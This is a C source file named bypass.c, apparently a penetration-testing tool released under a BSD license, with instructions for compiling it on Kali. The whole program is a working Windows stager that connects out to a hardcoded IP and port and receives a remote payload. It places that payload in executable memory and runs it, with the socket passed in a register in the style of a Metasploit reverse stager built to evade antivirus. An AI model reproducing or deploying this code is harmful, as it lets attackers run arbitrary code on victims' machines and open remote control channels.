bypass.c

/* Copyright (c) 2012, AverageSecurityGuy
   All rights reserved.
 
   Redistribution and use in source and binary forms, with or without modification, 
   are permitted provided that the following conditions are met:

   Redistributions of source code must retain the above copyright notice, this 
   list of conditions and the following disclaimer.

   Redistributions in binary form must reproduce the above copyright notice, 
   this list of conditions and the following disclaimer in the documentation 
   and/or other materials provided with the distribution.
 
   Neither the name of AverageSecurityGuy nor the names of its contributors may
   be used to endorse or promote products derived from this software without
   specific prior written permission.
 
   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 
   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
   IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, 
   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 
   NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, 
   OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 
   WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 
   ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY 
   OF SUCH DAMAGE.
*/

/*
To Compile on Kali (Thanks Zach)

Install Build Environment: apt-get install wine mingw32 mingw32-binutils mingw32-runtime
Compile:  i586-mingw32msvc-gcc bypass.c -lws2_32
*/

#include <windows.h>
#include <winsock2.h>
#include <stdio.h>

#define IP_ADDRESS "10.230.229.13"
#define PORT 4445
#define BUF_LEN 1024
#define PAYLOAD_SZ 819200

int main() {
  // Initialize Winsock and use version 2.2
  WSADATA wsaData;
  int wResult;
  WSAStartup(MAKEWORD(2,2), &wsaData);
  
  // Create a socket to connect to an IP and port
  SOCKET ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  // Define socket type, AF_INET (IPv4), IP address, and port.
  struct sockaddr_in saServer;
  saServer.sin_family = AF_INET;
  saServer.sin_addr.s_addr = inet_addr(IP_ADDRESS);
  saServer.sin_port = htons(PORT);

  // Connect to socket
  printf("Connecting to %s on port %d.\n", IP_ADDRESS, PORT);
  connect( ConnectSocket, (SOCKADDR*) &saServer, sizeof(saServer) );

  // Get payload size
  u_long size = 0;
  recv( ConnectSocket, (char *)&size, 4, 0 );
  printf("Payload size: %d\n", size);
  
  // Receive data from port;
  char buf[BUF_LEN] = "";
  char *rwx = (char *)VirtualAlloc(NULL, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  char *index = rwx;    // Pointer to track position in the payload buffer.
  int res = 0;          // Hold return value of recv().
  int rcvd = 0;         // Track how many bytes we have received. Should match size when done.
  
  // Add assembly to make put our socket in EDI
  // Thanks @egyp7 for this fix.
  index[0] = 0xBF;
  memcpy(index + 1, &ConnectSocket, 4);
  index += 5;
  
  // Receive the payload
  printf("Receiving payload.\n");
  do {
    res = recv( ConnectSocket, index, BUF_LEN, 0 );
    index += res;
    rcvd += res;
  } while (size > rcvd);

  printf("Executing payload.\n");
  // Execute the received payload. Skip the first four bytes, which holds the size of the payload.
  int (*func) ();
  func = (int (*) ()) rwx;
  (int) (*func) (); 
}